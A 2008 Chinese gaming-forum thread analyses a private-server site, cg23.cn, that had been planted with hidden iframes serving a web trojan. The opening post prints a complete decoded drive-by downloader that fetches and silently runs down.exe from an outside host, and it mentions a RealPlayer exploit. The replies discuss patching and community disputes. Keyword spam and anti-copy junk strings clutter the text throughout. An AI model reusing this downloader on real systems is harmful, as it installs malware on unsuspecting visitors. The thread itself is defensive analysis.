16 12
发新话题
打印

[讨论] cg23分析

cg23分析

Host: www.cg23.cn
6 D' ]) V& L. ?! L5 ~魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表Content-Location: http://www.cg23.cn/Index.htm魔力私服,最新魔力宝贝私服技术交流' z  g6 b( E. a$ a$ t% `. ~3 ^
--src
- }! p6 `2 T4 z$ M$ Fbbs.mocwww.com
; y! @7 e1 x: @2 ?% o: x<script language="JavaScript" type="text/JavaScript" src="http://news.baidu.com/ns?word=title%3A%C4%A7%C1%A6%B1%A6%B1%B4&tn=newsfcu&from=news&cl=2&rn=25&ct=0"></script>魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表/ s4 o% ~6 D/ l) }2 _& _
--百度新闻-魔力宝贝bbs.mocwww.com6 [& `- H0 P; C" z5 i

1 r1 A* x% ?* h$ @3 ]妖城在线论坛http://wpa.qq.com/pa?p=1:******************; G6 g( L, Z% E, y0 s
10数个魔力技术顾问的QQ链接
# X$ k. V! {! K8 f9 {$ X—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート
. d. u2 e1 h' l<script src="javascript/jf.js" type="text/javascript"></script>  ~& V: q" Z4 K
//模仿语言包式的简繁转换功能插件!
* c8 a: _8 `2 o. G+ g魔力私服,最新魔力宝贝私服技术交流
2 v5 n8 z2 L3 M# s) `魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表<script language="javascript" type="text/javascript" src="http://js.users.51.la/1326170.js"></script>bbs.mocwww.com- t# ~! Q/ J4 t6 f/ M5 ~  C
51.la流量统计
# L/ N. Q6 o- O( I  E7 r  @魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表妖城在线论坛* Y" V5 u7 w. e8 R% X+ x
<script src='http://s71.cnzz.com/stat.php?id=722391&web_id=722391&online=2' language='JavaScript' charset='gb2312'></script>
$ o$ l4 J5 k+ ?0 _bbs.mocwww.comcnzz流量统计妖城在线论坛( e9 [0 K2 z) i

2 n) _' v; i9 F' Q2 Z( y. q! d—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート<script language="javascript" src="http://count36.51yes.com/click.aspx?id=361527223&logo=12"></script># \2 V; V- F6 Z0 _
51YES网站统计妖城在线论坛( G6 K; E( I3 `8 R

5 D2 d3 ?; ?& j1 `8 ]<iframe src=http://1.100190.com/1.htm?6 width=50 height=0></iframe></a>魔力私服,最新魔力宝贝私服技术交流# c4 Q: q2 ^4 ~3 R/ U
下面是1.htm的内容( b! O1 m4 U. Q& J8 h, o
[<iframe src=http://1.100190.com/d/d.htm width=100 height=100></iframe>
) r' l0 l: t# V8 z+ p8 R妖城在线论坛<iframe src=http://1.100190.com/d/06014.htm width=100 height=100></iframe>6 E- r1 [7 H* r6 z1 b# t
<iframe src=http://1.100190.com/d/real.htm width=100 height=100></iframe>

/ E2 B8 L" y# [9 i' _- P妖城在线论坛这里是重点了
/ v4 Y' k4 O  Q1 P6 F—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート<script language="javascript" type="text/javascript" src="http://js.users.51.la/1586580.js"></script>bbs.mocwww.com. J9 g  `  T' g: D
51.la流量统计
' i+ L  B6 Z0 q7 _4 N3 S; g* {]
; Z6 `6 p8 l" r+ d魔力私服,最新魔力宝贝私服技术交流闲来无事,给大家分析一下吧
3 ^$ Q. q$ f, S# n& D8 I妖城在线论坛06014.htm        看名字好像是蛮老的那个溢出洞洞bbs.mocwww.com" Q# h$ u/ @4 T2 L
解码后—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート- E3 a& N1 _! e
<script>var fuck,cike;fuck="http://1.111281.com/down.exe";cike="cike.com";try{var ado=(document.createElement("object"));var d=1;ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");var e=1;var xml=ado.CreateObject("Microsoft.XMLHTTP","");var f=1;var ln="Ado";var lzn="db.St";var an="ream";var g=1;var as=ado.createobject(ln+lzn+an,"");var h=1;xml.Open("GET",fuck,0);xml.Send();as.type=1;var n=1;as.open();as.write(xml.responseBody);as.savetofile(cike,2);as.close();var shell=ado.createobject("Shell.Application","");shell.Shellexecute(cike,"","","open",0);}catch(e){};</script>魔力私服,最新魔力宝贝私服技术交流, x# v$ K# l% \+ \' h& R' f, Z
貌似是个下载者饿,打包了,大家没事研究研究 我就跳过了……魔力私服,最新魔力宝贝私服技术交流0 H+ G, v8 D2 j& P0 ]  C
bbs.mocwww.com! s, L1 c% }% X4 T* V. c9 _- V# x
d.htm        解码之
* j$ d% K5 u5 i$ W( z! H; O, y4 u. S魔力私服,最新魔力宝贝私服技术交流<iframe style=display:none src="http://1.100190.com/d/bf.htm"></iframe>
; ~; W# }# w, Z2 i  F; ?2 M妖城在线论坛呜呜,我们继续
4 e- x# E: I2 r, b空文件,可能是后备用的吧
* k1 c) b% b: u' ^( ~* ubbs.mocwww.combbs.mocwww.com& @! S5 c* z/ E$ W, v- N! C+ P
real.htm        看名字可能根播放器的oday有关
) s- o1 s- B& k. l8 Y: ?8 j8 C/ N' X: _魔力私服,最新魔力宝贝私服技术交流解码之——bbs.mocwww.com6 Y% D. G: o. m1 g" U$ I
function RealExploit(){afdsffffasdf="flsdajflasdjfl32rewr231ffas";var ……魔力私服,最新魔力宝贝私服技术交流0 T( Z7 a+ }' S1 Z+ ^; D
恩,查资料得知为机器狗病毒,不过不玩这个 不大懂
' a) i; q8 h9 Y$ x好了,确定是网马,至于效果如何,反正我没中招……

2 Y, p$ k/ E# _/ ?# d—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート
8 M0 ?# r5 k/ K/ r7 X, d9 D9 s就酱子吧,很多防护不好的网站都会被人挂马,希望cde尽快处理,我对其人没有任何恶意的,大家不要有事没事就对他妄加否定,—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート2 W  z- U) O1 C7 l
想想 人家辛辛苦苦为了什么那?开那么多群,没说过收费什么的吧? 有知道的东西就共享出来 也没见藏着掖着吧? 魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表( X; C- h' Q# X$ i# H
紫薇剑是谁我不晓得,魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表8 l7 D: \$ _. s0 I
但是cg23的ange我还是打过交道的……

6 H  c! J! ~/ U6 |) o4 ibbs.mocwww.com
  J/ O& v& S6 \$ z4 v- k<param name="URL" value="http://www.jdzblog.com/uploadfiles/2007-3/327162852.mp3">妖城在线论坛; v: p- S2 X; d0 w
最后给大家附个音乐 深吸一口气,放松一下,没什么大不了的……

  Q( [6 K9 j4 V* z, lbbs.mocwww.com+ i: M5 v, G# f$ L1 v9 R& Y$ B
[ 本帖最后由 myzz01 于 2008-2-4 21:53 编辑 ]

TOP

那个是内嵌的JS调用溢出马.很老的一种了..
, @, I- T( G& F, F2 ~$ L8 h' }LS的兄弟我劝你..妖城在线论坛* @, E4 y% P8 L8 f8 ^
搞CG,不知道紫薇剑,就和中国人不知道毛泽东一样.
4 c8 v* Y0 l" b: t' ]  A+ [你没资格说内些话..
你的名气很大,并不代表着你很强大。

TOP


5 s. J' ?+ T% D3 M2 e# e3 U" M# p魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表开那么多群.从来没说过话.
. q  V' z5 @- G! p$ g/ P+ {: ?( w魔力私服,最新魔力宝贝私服技术交流和某XXOO反挂不一样?
0 s" n* q, c' ~3 _9 Z+ W: ]! T魔力私服,最新魔力宝贝私服技术交流技术群一大堆.问问题没见回.
0 W9 u  E6 [$ l+ U& k) T一买他东西积极的很.妖城在线论坛/ T; T# c7 \  E
妖城在线论坛: E' p, Z8 m) f& a; y/ Y
魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表! U: I/ o% |: X7 V
他现在扔出来的东西都是别人淘汰的.魔力私服,最新魔力宝贝私服技术交流2 O' g  Y# J3 v/ |" K+ E  ^
也不知道谁抱着一套所谓的反挂,还当宝咧..
你的名气很大,并不代表着你很强大。

TOP

这样啊··

TOP

那个  资格不晓得要怎么赚取 …… :-)  是不是当中国人只要知道毛泽东就具备中国人的血统了?估计某些知道老毛的小日本要雀跃了……bbs.mocwww.com7 k9 L! ~5 D+ t  o% Y" s3 w; U
血统是与生俱来的,根毛泽东关系不大,我的资格 仿佛也根我知道不知道紫薇剑关系不大吧?
8 \3 ~7 g( ?/ d" s9 F( W- k—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート我喜欢根海星兄 妖哥 小男这样说话爽快的人交流,至于不从技术方面讨论问题 而专门搞人事鉴定的……  不是很感冒……
% Y+ ~; V1 s& g% h9 q0 X% t% q* |魔力私服,最新魔力宝贝私服技术交流(*^__^*)   随便说说拉 ange真的打了很久叫道的 从我开始研究魔力(快1个月了) 没事都会在QQ上交流下的 ——感觉人有点迷糊 但是没有什么坏心眼吧?妖城在线论坛9 b: }1 r# F: z6 ~' B% S
至于FGMAX :) 我可是加你QQ拜师的哦 可惜你不回复…… 唉  要不现在收下我吧?

TOP

我,大家都知道,对话不对人。  j- |) |; C( Y- _  T7 i
要是惹着你了就当别在意。
- \  f3 v7 Z0 A" g6 a: P8 _魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表
, x$ Q: [/ E6 p0 w! A% o" I加我人太多,每天问问题人也太多。
; [& w5 d( q4 \" ~) u/ T) T妖城在线论坛不能一一照料。—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート# }- Y' d4 Q, M: R5 L% j& o
' }5 ]) ?  H& [. ]9 ]
我就收了一个徒弟,晨曦。魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表) Y4 ~& b+ x0 E& @( f

  P& C7 j8 G. U( @2 ?bbs.mocwww.com以后有需要就说,知道肯定告你。
你的名气很大,并不代表着你很强大。

TOP

引用:
原帖由 FGMAX 于 2008-2-4 22:08 发表
) f: b! c6 p9 c% q" U4 V—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート我,大家都知道,对话不对人。妖城在线论坛5 d0 k1 r8 O& r
要是惹着你了就当别在意。
3 c4 z1 [1 M9 B; c, ?
" t3 H% G# ?+ H: N魔力私服,最新魔力宝贝私服技术交流加我人太多,每天问问题人也太多。+ i& [7 \3 f& p6 c2 l+ d
不能一一照料。魔力私服,最新魔力宝贝私服技术交流7 g7 v' h/ w5 y6 W% z& ]
魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表4 a4 G0 G+ I+ H) A* V" |
我就收了一个徒弟,晨曦。魔力私服,最新魔力宝贝私服技术交流( ~+ a, y) |  S! E" A* w$ l
妖城在线论坛$ n% d0 e. T% l+ ]( z$ h" Y
以后有需要就说,知道肯定告你。
6 D( _& z5 w& b0 Wbbs.mocwww.com
+ A2 L: J6 l8 v妖城在线论坛—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート; `# v( {9 K6 R4 |
:)  交个朋友 一起交流饿 …… 我去想办法看懂魔力封包处理部分的代码去…… 想学的东西太多 时间太少 一动就该睡觉了……郁闷 HOHO  晚上见……

TOP

回家前 上来看看妖城在线论坛1 o& b/ G+ ^$ S/ _0 E1 m# d

TOP

RealPlayer 的溢出漏洞,打完RealPlayer溢出补丁的不会中.

TOP

RealPlayer 不装呢- -

TOP

CG23就是白吃,乱吧人的QQ放在他网页上当什么顾问  我日

TOP

引用:
原帖由 ?k|尛水 于 2008-2-4 22:53 发表
! x) I4 t; \. v$ U# }% z) H& L+ O妖城在线论坛RealPlayer 不装呢- -
/ [% q- j8 o6 R妖城在线论坛不装当然就中不了real的0day了,不过其他溢出漏洞不胜枚举,而且就算不中马,被挂马的站访问起来也会很慢…… 经常访问很容易体会出区别…… 中木马也一样 你要经常使用电脑就会有手感的 当机器中木马病毒什么的 你就会感觉不顺手了……

TOP

呵呵...real我就没装过~~呵呵..

2007年10月6日至今已过去十三个春夏秋冬,感谢妖友的一路陪伴!
2020年6月12日 By.xuyaoxy

TOP

我问问无双,是被人挂了还是自己搞的……。它那站流量也没多少,应该不至于坏自己的名声做这种事。
1 |/ [3 u' w& u4 |/ Z—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート8 K- Q9 F$ R' x
现在有马是事实了
妖城欢迎您!

TOP

没说过收费?那他的高级群谁出的QB,你也不想想

TOP

 16 12
发新话题